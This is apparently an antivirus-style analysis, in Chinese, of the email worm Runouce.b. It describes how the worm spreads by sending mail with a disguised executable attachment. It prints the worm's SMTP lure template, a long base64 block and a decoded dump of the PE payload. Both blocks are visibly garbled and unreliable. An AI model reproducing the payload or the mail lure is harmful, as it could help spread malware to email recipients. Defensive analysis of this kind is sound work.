w:/PDfqVo3g8lCoJqwA

❶ Worm/Win32.Runouce.b[Email]的網路行為

協議：TCP
埠：139 445
描述：通過以上埠發送惡意郵件，郵件內容：
HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
--#BOUNDARY#
Content-Type: text/html
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-id: THE-CID
TVpQAAIAAAAEAA8A//AA4ftAnNIbg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A4ACOgQsBAhkAAgAAAAYAAAAAAAAA
AAAAAAEAAAIAAAAAAQAAAQAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQ09ERQAAAAAAEAAAABAAA
AAAAAAAAAAEAAAMAuaWRhdGEAAAAQ
AAAAAAAAAAAAAAAAAAQAAA8AAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//ge4AEAAAZoE+TVp18w+3fjwD/otveAPui10g
A94zwIvWg8MEQIs7A///Im
0JOAAAADoXgQAAIvpVv/T//Qi/DoywYAAIvpVv/T/KuLzeL1iwQk6A0AAABBRFZBUE
kzMi5ETEwA/9CL8OgdBwAAi+lW//9CL8OhcBwAAi+lW/9P8q4vN4vWLBCToDAAAAFdTT
0NLMzIuRExMAP/Qi/DofAcAAIvpVv/T/KuLzeL1i//1YE/1YIC8B0Aszp/1YMagFQ
/1YQ6GgBAACL9OgNAAAAi/+gkAAI1CO5C
uhFCAAAi4boAAAAaGDqAABQ/1Zkg/
j/5lc2VIYWNrZXItMiBNb25pdG9yA
FhqAFD//
vBUAAFBUagBQUGoAagD/VnSL2FiLhugAAABoYOoAAFD/VmRQagBT/1Z4WIP4/
TAACB7AABAABU6OwGAACL/GoQV/9WcIP4/3Qdi9johRMAAGoAagBT/1Y8U+hjCwAAi/xqB1f/VihQVOguAAAAU09GVFdBUkVcTW
/
VP/lqQAAADoAAAAAF+/1Z0WDPAiYbo
B0b2oBagD/0IuW4AAAAA+3WjwD2ou
VLoUBUAAP9WTFBUagBQVWoAagD/Vl
yJhugAAABYaPQBAAD/VkTM6WoAagD/lowAAABQVFD/logAAABqAGj/Dx8A//1ZoC8B0S
4vojZdyFQAAUFRqTpCQkJBSVVP/VlRYg//VlT/VkxUagBQVWoAagBT/1ZYiYboAAAA
WFP/1lQQDoFAAAAFdpZGVDaGFyVG9
ABfbGNyZWF0AOgUAAAAR2V0U3lzdG
amVjdADoDAAAAENsb3NlSGFuZGxlA
AV3JpdGVQcm9jZXNzTWVtb3J5AOgM
JTZXJ2aWNlUHJvY2VzcwDoBgAAAFN
WFkAOgHAAAAX2xvcGVuAOgMAAAAU2
AABGaW5kTmV4dEZpbGVBAOgPAAAAR
lVHlwZUEA6AgAAABXaW5FeGVjAOgQ
hBAOgNAAAATG9hZExpYnJhcnlBACv
MwekC/+6AwAAABNZXNzYWdlQm94QQ
/+DpWIvM6BgAAABSZWdOb3RpZnlDa
4QQDoDAAAAFJlZ09wZW5LZXlBACvM
wekC/+TmV0T3BlbkVudW1BACvMwek
C/+ZWN0AOgOAAAAZ2V0aG9zdGJ5bm
dHVwACvMwekC/+DpWIvM6AwAAADHu
bHQwO666da+IQDoEAAAAMily//
AAAAz/6AwAAADJ57vh1vfS5brDIQA
rzP/g6cgAAABgi30IaAABAABX/1ZsA//1YUg/
gCcguD+AV0BlToqAAAAFpCWeLlw+kz/++lXagHoIAAAAMPpV2oC6BYAAADD6
VdqAugMAAAAw+//+WtAAA
AFlZC8B1CIv8/1UQ697pU/+/3UI/1YYC8B0Zf9
/VhyL2IP4/3QxVFP/////693pVOhAAA
AA69TpU/9WJMcEJC4uAABU//3UI/xLM6cgAAABg6AYAA
+noBAAAANZQQABaw+
//4v8agBX/1Ywg/j/dECL2LgAAQAAUIvEUFf/loAAAABYA8fHAC5lbWzHQAQ
AAAAAagBX/1Zwg/j/dA+L+FdTagDolQQAAFf/VkBT/+hg////PS53YWJ0IT0uYWRjdC
+gVAwAAgewAAQAAVP+
gJT/1Ywg/j/dBCL2Gg0EgAAVFP/VjhT/1ZAycIEAOnIAAAAi30IjV8sU+jZ/v//
BMnCBABqAFP/VihqAlP/VjCD+P90HIvYU+hcAAAAjUcEjU8MjVcUUlFQU/9WLFP/VkCNXyz/N1P/VijJwgQAagBT/1YoagJT/1Y
wg/j//VixT/1ZAjV8s/zdT///4vEagBQ/1Ywgc
QAAQAAg/j//w+EnwAAAIv4V1NqAOgBAwAAV/9WQIt9CGoCagBX/1Y86
uKCJyZWFkbWUuZW1sIiwgbnVsbCwi
+PC9odG1sPgBYanhQV/9WOFP/VkBhycIEAOnIAAAAYIH
sABAAAIv8aAAQAABX/3UI/1Y0D7dHPAP4O/0Ph9QAAABmgT9QRQ+FyQAAAI2f+AAAAA+3TwZJg8Mo4vs73Q+HsQAAAItHKCtDDH
IjA0MUagBQ/3UI/1Y8UIvEagRQ/3UI//3RwUAX8GQAAK0MUiUMQi1MIO
+D7xFo/BkAAFf/dQj/VjiD+P90GGoA
agD/dQj/+v//i/xqAFf/VjCD+P90D4vYU/91COjXAQA
AU//w+EggAAAIvYgewAAQAAi/wz0lJQi8RqAVBT/1Y0WVoLwHRbi8SDwCA7+H
figPlAdEWA+S50PID5MHIPgPk5cjiA+UFyBYD5fnIuM8D8qoD+AXW7gPoBcrYr/IP/BnKvigQkPEB0qDwudKRU6Ej////rnP7C6
wL+xorB/KrrlFP/VkCBxAABAABhycIEAMgAAABgagD/dQj/VjCD+P90cIvYgewAAQAAi/xoAAEAAFdT/1Y0PQABAAB1S4tHYGoA
UFP/VjyLT2SB+QAQAAB3NlFqRFdT///4HEAAEAAFniyoHEAAE
AAFP/VkBhycIEAMgEAABgiWX8gewAEAAAi/z/dQhX6AoCAABQV/
AwAABX/3UM/1Y0g/j//91EP9WOMcEJ
A0KDQpqBFf/dRD//xUaAEBAAD/lrwAAAALwA+FSQEAAGoAagFq
Av+W1AAAAIP4/w+ELgEAAIvYZscHAgBqGf++WzAAAAAvAD4TyAAAAi0AQiwC
JRwRqEFdT/5bQAAAAg/j/D4TXAAAA/3UIV+jmAAAAagBQV1P/
kEJIv8aAAwAABX/3UM/1Y0g/j/v8a
gBQV1P//5bEAAAAaKAPAAD/VkToBgAAAFFVSVQNClhqAGoGUFP/lsQAAABo
oA8AAP9WRMdF+AEAAABT/5bYAAAA/5bAAAAAi2X8YYtF+MnCCADIBAAAYLgAAQAAK+CL1FBUUv+WgAAAAFjoHQIAAEhFTE8gYnR
FQgVE86ICVzDQpEQVRBDQpGUk9NOi
VmVyc2lvbjogMS4wDQpDb250ZW50L
PVU5EQVJZIw0KQ29udGVudC1UeXBl
FibGUNCg0KPGh0bWw+PEhFQUQ+PC9
UQgaGVpZ2h0PTNEMCB3aWR0aD0zRD
A+PC9pZnJhbWU+9udGVudC1UeXBlO
uZzogYmFzZTY0DQpDb250ZW50LWlk
OiBUSEUtQ0lEDQoNCgBYi/xX/3UMV/91DFD/dQj/lpwAAACL54lF/
zQ1Njc4OSsvAF6LfRCLVQzB4gMz2z
PAuQYAAADR4FP/dQjoMAAAAEp0DUPi74oEBvyq/0X8695J0+CKBAb8qv9F/
/NgAAZGeJJgAA6BwAAAD/Moki/+DpWOgPAAAAiyKP
AmRnjwYAAFlZ/+Dp6AQAAACI/hIAWsPpyAAAAOgIAAAA6NH/////
AAf//AAK4AAdAAAEaACIBAAK6EAABDh+
AQAHAwABCgAGUAADBAAGAgAFEAACI
AAyAAAwIAAwgADkAAAsAuaWRhdGEA
/wD/AP8Aa8P/JTAwQAD/AP8A/wD9KDAACjgwAAIwMAA
/wD/APkAAF+KB0cKwHQNUIvEagFQU/9WOFjr7A+2D0
fjEVFQi8RqAVBT/1Y4WFni8evVw+nIAAAAgewAAQAAM/aL/Ga4DQq5DAAAAPzzZqvo9vD//4sUtAPhigJC/KoKwHX36AkAAAC3o
svNz/vPogDoBAAAAMbz03dYagD/EAvAdFeL2OgEAAAAmMLRd1hqBVP/EAvAdEKL2OgEAAAAruLRd1+B7AAQAABUaAAQAABqDVP/
F4HEABAAAAvAdRtUaAAQAABqDFP//EOlR////6cgAAACLXQiB7AABAAC
L//EFjoBAAAALj/bnlYagBqAGoEagBT/xDoBAAAAEHobnlYaA
ABAABXagFqAFZT//EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk
OgEAAAAKnXod1hqAVH/+maPAGaPQAaLdQiLfQyLTRDM
+2HJwgwA6cgAAABgi0UIagBQUGoA/=
經解密得到數據： HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
FROM: [email protected]
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=#BOUNDARY#
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP ?@ ????L?悙This program must be run under Win32 $7PEL ?飩巵 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`桄 媡$ ?ah @瞄Y? 佹???f?MZu?穨< 䦆ox 顙] ?缷謨?@? ? GetProcAddress^3殺 ??趮驄]$ ??C媇 迡 ?迊禳孅壌$鑎 嬮V??嬐怩?$?USER32.DLL?嬸?嬮V??嬐怩?$?ADVAPI32.DLL?嬸?嬮V??嬐怩?$?MPR.DLL?嬸鑌嬮V??嬐怩?$?WSOCK32.DLL?嬸鑭嬮V??嬐怩嬼?ChineseHacker-2jj? ? 纓 涕? j P? 鑘 嬼?嬼h`?D靦閅鈒 ? 崅 ?? 岯-悙悏 鑒 楮 岯;悙悏 鑦 梏 崅?枸 岯-悙悏 ? 梟 岯;悙悏 鐴 媶h`P?d凐?V鐹^?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? 霚Y梟 鑊 殍_媶墖?媶墖 媶墖& 婩D墖f 崌?PTjPPjj?t嬝X媶h`P?dPjS?xX凐? 涕V?^胭Y鐼 柁閅鐰 侅 T桁 孅j W?p凐? 嬝鑵 jjS?XjxPW?8S?@a陝 槿`侅 孅h W? ?4 稧< ??囋f?PE 吷崯 稯 I兠(懨;?嚤婫(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name=pp.exe Content-Transfer-Encoding: base64 Content-id: THE-CID X孅W? W? P? ?湅鐗E鼇 a婨???`荅鐰+/^媫 婾 菱 3?攔 燕S? ?Jt C怙? ???轎余? ????M?=??廓a婨??QRV媢 婱 嬔陵 ? 鮁?誼? 耝ZY陝 XQ??閐g?dg?????閄???dg?YY??堽 Z瞄?柩??衢Y婨 増3郎?鑗 MZP ? @ ?
&not;???L?悙This program must be run under Win32 $7圥E L ?飩 巵 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 纓 P嬆j PS?8X腱 ?G?QP嬆j PS?8XY怦胝瞄侅 3鰦黤? ??f?鯧???釆 B?纔麒 發送消息?企觲Xj?纓W嬝?樎褀Xj S?纓B嬝??褀_侅 Th j S?伳 纔 Th j S?F冩u 伳 陝 ?B$?Xh??镼??葖] 侅 孅?Runonce^h ?驄nyXTWjjVS?X??nyXjjj jS??A鑞yXh Wj jVS?胙槿?璱鑧X? jh?&not;?纓,嬝?存wXj??Y兞 悙愯 *u鑧Xj Q?陝 槿`P L$⺋兝 ?婸 ?`?塒 ??銷ff廆 媢 媫 婱 帖a陝 槿`婨 jPPj?恆陝
解密之後發現該內容為PE可執行文件，病毒調用系統自帶的Outlook Express發送惡意郵件，病毒利用發送惡意郵件來傳播自身。
註：%System32%是一個可變路徑。病毒通過查詢操作系統來決定當前System文件夾的位置。
%Windir% WINDODWS所在目錄
%DriveLetter% 邏輯驅動器根目錄
%ProgramFiles% 系統程序默認安裝目錄
%HomeDrive% 當前啟動的系統的所在分區
%Documents and Settings% 當前用戶文檔根目錄
%Temp% Documents and Settings當前用戶Local SettingsTemp
%System32% 系統的 System32文件夾
Windows2000/NT中默認的安裝路徑是C:WinntSystem32
windows95/98/me中默認的安裝路徑是%WINDOWS%System
windowsXP中默認的安裝路徑是%system32%